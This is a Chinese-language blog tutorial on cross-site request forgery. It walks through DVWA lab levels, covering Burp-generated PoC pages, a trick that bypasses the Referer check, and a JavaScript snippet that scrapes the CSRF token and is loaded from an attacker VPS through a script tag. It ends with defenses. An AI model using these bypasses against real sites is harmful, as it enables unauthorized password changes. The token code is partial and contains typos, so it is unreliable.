定义
跨站请求伪造,攻击者利用服务器对用户信任,从而欺骗受害者点击vps上的恶意请求链接。
与xss的区别
xss是利用用户对服务端的信任;csrf利用服务端对用户的信任
xss攻击是让脚本在用户浏览器上执行,服务端只是恶意脚本的载体;
csrf攻击 不需要知道用户cookie,让受害者点击我们准备好的vps上的恶意代码链接,让受害者在不知情的情况下执行恶意代码。
攻击要点&SRC挖掘
1、服务器没有对操作来源进行判断如 ip、referer等
2、受害者处于登录状态,但攻击者无法拿到cookie
3、攻击者需要找到一条可以修改或敏感信息的请求
场景
受害者a 登录 购物网站 ,修改个人资料中的密码为123,提交
url
http:www.A.com/edit.php?name=aaa&pass=123&submit=submit
攻击者b 要通过 csrf 漏洞 修改 受害者a的密码
条件:1、a用户处于登录状态,a用户浏览器未关闭
2、攻击者b制作修改密码的请求放到vps,并引诱受害者a点击
用burp制作钓鱼网站
1、以dvwa为例,设置为low,进去csrf,抓取修改密码的数据包,鼠标右键选择 制作CSRF POC,会生成html代码
2、将html代码复制到攻击服务器下,访问http://(攻击者vps)/csrf.html
DVWA 中等难度 - referer验证
检测机制:在修改密码等敏感操作时,会检测referer 请求来源地址,里面是否存在主机ip或域名。
我们可以构造一个有效的Referer,可以在攻击服务器上创建一个新的html页面,命名时 要含有 csrf网站主机ip地址
DVWA High高难度 - Token
1、基于Token机制绕过high
2、使用javascript原生代码发送Ajax请求
防御机制
访问页面时,会在页面源代码中生成Token
再次发送请求,生成的Token值会发生变化,每次生成的值都不一样
绕过思路
1、JS构建ajax发送请求给csrf页面,然后从相应中取得Token(正则表达式提取)
2、将取得的Token和新密码一起发送给服务器
构造Ajax请求的代码:
var tokenUrl='http://(受害服务器ip)'/dvwa/csrf/;
var count =0;
实例化XMLHttpRequest,用于发送Ajax请求
xmlhttp = new XMLHttpRequest();
当请求的状态发生变化时,触发代码
xmlhttp.onreadystatechange = function()
{
if(xmlhttp.readState == 4 && xmlhttp.status == 200)
{
var text = xmlhttp.responseText;
var regex = /user_token\'value\=\'(.*?)\'\/\>/;
var match = text.match(regex);
var token = match[1];
//发送修改密码的语法
}
}
将上述代码放置于攻击服务器上,如http://(攻击者vps)/csrf.js
想办法将js代码嵌入到被攻击者服务器上即可完成。(而在这一步,在high级别中无法实现)
<script src="http://攻击vps/csrf.js"></script>
为了先验证攻击的可行性,我们先把dvwa的难度调整到low,进行插入js代码。
防御思路
- 验证 http Referer 字段:
同源检测,Referer 指的是页面请求来源。意思是,只接受本站的请求,服务器才做响应;如果不是,就拦截。Referer 的值是由浏览器提供的
- 在请求地址中添加 Token 并验证:
在 HTTP 请求中以参数的形式加入一个随机产生的 token;如果请求中没有 token或者 token 内容不正确,则认为 CSRF 攻击而拒绝该请求
- 在 http 头中自定义属性并验证:
token 安全等级更高。因为并不是任何服务器都可以取得 referer,如果从 HTTPS 跳到 HTTP,也不会发送 referer。并且 Referer的值是可以通过抓包修改的,但是 token 的话,能保证其足够随机且不可泄露。(不可预测性原则)一般防护 csrf 的办法最常见的就是增加原始密码验证,短信验证、验证码验证,这样基本就很难进行 scrf 攻击了。
标签:CSRF,token,Token,防御,csrf,服务器,攻击者,原理,请求 From: https://www.cnblogs.com/beyondsec/p/17754717.html